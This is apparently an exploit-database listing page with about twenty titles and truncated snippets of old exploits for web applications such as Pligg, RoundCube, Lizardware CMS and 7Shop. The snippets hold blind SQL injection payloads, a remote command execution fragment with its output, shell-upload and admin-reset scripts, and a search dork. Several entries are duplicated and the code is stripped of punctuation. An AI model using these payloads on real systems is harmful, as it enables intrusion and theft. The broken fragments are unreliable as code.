Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Pligg 9.9.5b checkurl.php url Upload Shell/SQL Injection Exploit =================================================================== !/usr/bin/perl =about Pligg 9.9.5 Beta...

RoundCube Webmail <= 0.2b Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================= RoundCube Webmail echoiniget'disablefunctions'; exec, system PHP passthru"id; uname -a"; uid=666www-data gid=666www-data groups=666www-data Linux mail 2.6.28 0 Sun Jan 01 10:05:33 CET...

Lizardware CMS 0.6.0 - Blind SQL Injection

!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================== Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,"...

Aiyoota! CMS - Blind SQL Injection

php '.$argv0.' -1 http://www.site.com Example Method 2 for http://www.site.com/english/8/8/45001/liste9.html = php '.$argv0.' -2 http://www.site.com english 8 8 45001 liste9.html '; $automatic = $argv1; $url = $argv2; if $argv1 == "-1" | $argv1 == "-2" & $argc == 3 | $argc == 8 if $argv1 == "-1"...

eZ Publish &lt; 3.9.5/3.10.1/4.0.1 Privilege Escalation Exploit

No description provided by source. ?php / eZ Publish privilege escalation exploit by s4avrd0w [email protected] Versions affected = 3.5.6 Resolved in 3.9.5, 3.10.1, 4.0.1 More info:...

checknew-sql.txt

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...

Check New 4.52 - SQL Injection

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...

CMS MAXSITE Component Guestbook - Remote Command Execution

!/usr/bin/perl ================================================================== CMS MAXSITE Component Guestbook Remote Command Execution Exploit ================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

Lito Lite CMS (cate.php cid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w =========================================================== Lito Lite CMS cate.php cid Remote SQL Injection Exploit =========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O...

OpenForum 0.66 Beta Remote Reset Admin Password Exploit

Exploit for unknown platform in category web applications ======================================================= OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================= !/usr/bin/perl -w...

OpenForum 0.66 Beta - Remote Reset Admin Password

OpenForum 0.66 Beta - Remote Reset Admin Password !/usr/bin/perl -w ======================================================== OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================== ,--^----------,--------,-----,-------^--, | |||||||||...

CVE-2008-5208: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in subvotepic.php in the Datsogallery comdatsogallery module 1.6 for Joomla! allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header...

phpcrs &lt;= 2.06 / Local File Inclusion Vulnerability &#40;this is the correct :&#41;

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpcrs = 2.06 / Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- $ Program: phpcrs $ Version: = 2.06 $ File affected: frame.php $ Download: http://sourceforge.net/projects/phpcrs/ Found by Pepelux...

7Shop 1.1 - Arbitrary File Upload

!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand1000 . ".php"; int.. yes i know PU! print Spoofing + + Discovered && Coded By: t0pP8uZz + + + + Contact IRC: irc.rizon.net sectalk + + Vendor not notified! Later versions maybe vuln! + + + +...

7Shop 1.1 - Arbitrary File Upload

7Shop 1.1 - Arbitrary File Upload !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand1000 . ".php"; int.. yes i know PU! print Spoofing + + Discovered && Coded By: t0pP8uZz + + + + Contact IRC: irc.rizon.net sectalk + + Vendor not notified! Lat...

Joekoe(乔客CMS)3.0Sql注入漏洞

JoekoeCMS3在获取客户端浏览器类型参数User-agent时没有严格过滤，导致在引入查询时可以通过修改数据包构造特殊的user-agent值来达到添加后台管理员等目的。 JoekoeCMS3将所有类都封装在了一个JoekoeCMS3b.dll的Dll中， Joekoe是通过cls.ipsys1来获取客户端的User-Agent，所以在其程序中调用cls.ipsys1并放入SQL查询的页面\common\review.asp、\forum\post.asp、\forum\inc\incpost.asp均存在此漏洞。...

phpcrs &lt;= 2.06 (importFunction) Local File Inclusion Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpcrs = 2.06 / Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- $ Program: phpcrs $ Version: = 2.06 $ File affected: frame.php $ Download:...

LoudBlog &lt;= 0.8.0a (ajax.php) SQL Injection Vulnerability (auth)

No description provided by source. !/usr/bin/perl This Exploit requires a valid user name and password of an account regardless of the permissions Author: Xianur0 Affected: All Versions Bug: SQL Injection Doorks: allintext: "powered by LoudBlog" use HTTP::Request::Common qwPOST; use LWP::UserAgen...

MindDezign Photo Gallery 2.2 Arbitrary Add Admin Exploit

No description provided by source. !/usr/bin/perl ============================================================= MindDezign Photo 2.2 Gallery Arbitrary Add Admin Exploit ============================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | ...